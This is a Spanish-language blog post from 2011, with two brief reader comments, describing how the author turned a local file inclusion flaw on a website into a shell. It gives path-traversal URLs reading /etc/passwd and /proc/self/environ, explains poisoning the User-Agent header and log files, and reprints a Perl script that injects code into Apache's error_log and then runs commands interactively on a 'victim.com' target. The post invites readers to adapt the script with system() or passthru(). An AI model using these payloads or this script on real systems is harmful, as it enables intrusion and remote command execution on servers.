sábado 10 de diciembre de 2011

Full Access Mediante LFI

Hablando con un colega me dijo que me pagaría por encontrarle un error a un .php lo encontré sin embargo estaba dentro del panel asi que no se podría entrar facilmente... ya que no habia forma de bypass al login entonces me mostró un LFI que tenia en la web dije bueno haber como le hacemos... comenzé a darle al LFI para sacar el config.php y nada estaba bloqueada esa wa... la inyeccion era algo asi:


http://malicioussub.domain.com/tech/protocolo/algundirmas/funcxxx?ts=../../../../../../../../../../../etc/passwd


Bueno hasta el momento todo iva bien saque el passwd y nada cdsm no habia nada interesante un solo usuario bueno segui intentando y yo siempre saco archivos .php ya sea el index o lo que fuese y de ahi saco el config de ahí voy escalando pero en este caso no se podían sacar los .php aun no estoy seguro por que entonces busqué y dije ya se por medio del phpmyadmin voy a intentar sacar shell haciendo into_outfile o algo por ahi intenté entrar con user: sa y password: sa y nada csm dificil explotar teniendo en cuenta que todo lo que tenía era un lfi y ensima ni sacar los archivos podía me encontré con un archivo .log y ahi me frikie xD mi ip estaba en los logs provando el sa y sa entonces dije wait a minute... yo recuerdo esto:


intentaré poner algo en el archivo .log...

con mi popular y muy usado Live Http Headers cambie mi user-agent a entonces aparecio en el log pero... por que siempre hay un pero no se ejecutó una busqueda rápida en mis recuerdos me hizo acordar un LFI que exploté hace tiempo en el que usaba eso mismo en el proc/self/environ entonces dije a cierto a ver cambie la url en el navegador puse el mismo user-agent: http://malicioussub.domain.com/tech/protocolo/algundirmas/funcxxx?ts=../../../../../../../../../../../proc/self/environ


Mother of my fucking god me mostraba un resultado distinto:


HTTP_HOST=sub.domaimn.com HTTP_REFERER=http://subfucking.domain.com/ HTTP_USER_AGENT= PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron

no salia el user agent visible... procedí a verificar si había subido y si si subio la shell, cuando le comenté del caso a mi colega me dijo que era una buena manera de subir que la conocia pero no se le ocurrio y me hizo acordar que algo parecido se puede hacer con el archivo ../../../../../../../etc/httpd/logs/error_log me encontré también con este exploit:

#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site="victim.com";
$path="/folder/";
$code="";
$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "
Connection Failed.

";
print $socket "GET ".$path.$code." HTTP/1.1
";
print $socket "User-Agent: ".$code."
";
print $socket "Host: ".$site."
";
print $socket "Connection: close

";
close($socket);
print "
Code $code sucssefully injected in $log
";

print "
Type command to run or exit to end: ";
$cmd = ;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "
Connection Failed.

";
print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1
";
print $socket "Host: ".$site."
";
print $socket "Accept: */*
";
print $socket "Connection: close

";

while ($show = <$socket>)
{
print $show;
}

print "Type command to run or exit to end: ";
$cmd = ;
}


está muy básico sin embargo ahi se los pongo cambien la victim.com el folder y la url del folder y del log xD y en el code la idea es que pongan el system() o passthru() bueno la cosa es como le subí la shell ahi tienen una buena opción de que hacer con un LFI en el caso que los .php estén bloqueados.



Saludos,
Dr.White

2 comentarios:

jOSEzOFT dijo...

Hola doc que tal...

jijijiji como que tamos muy antiguos para eto. :D

Saludos

jOSEzOFT dijo...

Si un administrador no previene tunea su apache y php a estas alturas ya seria todo un caso...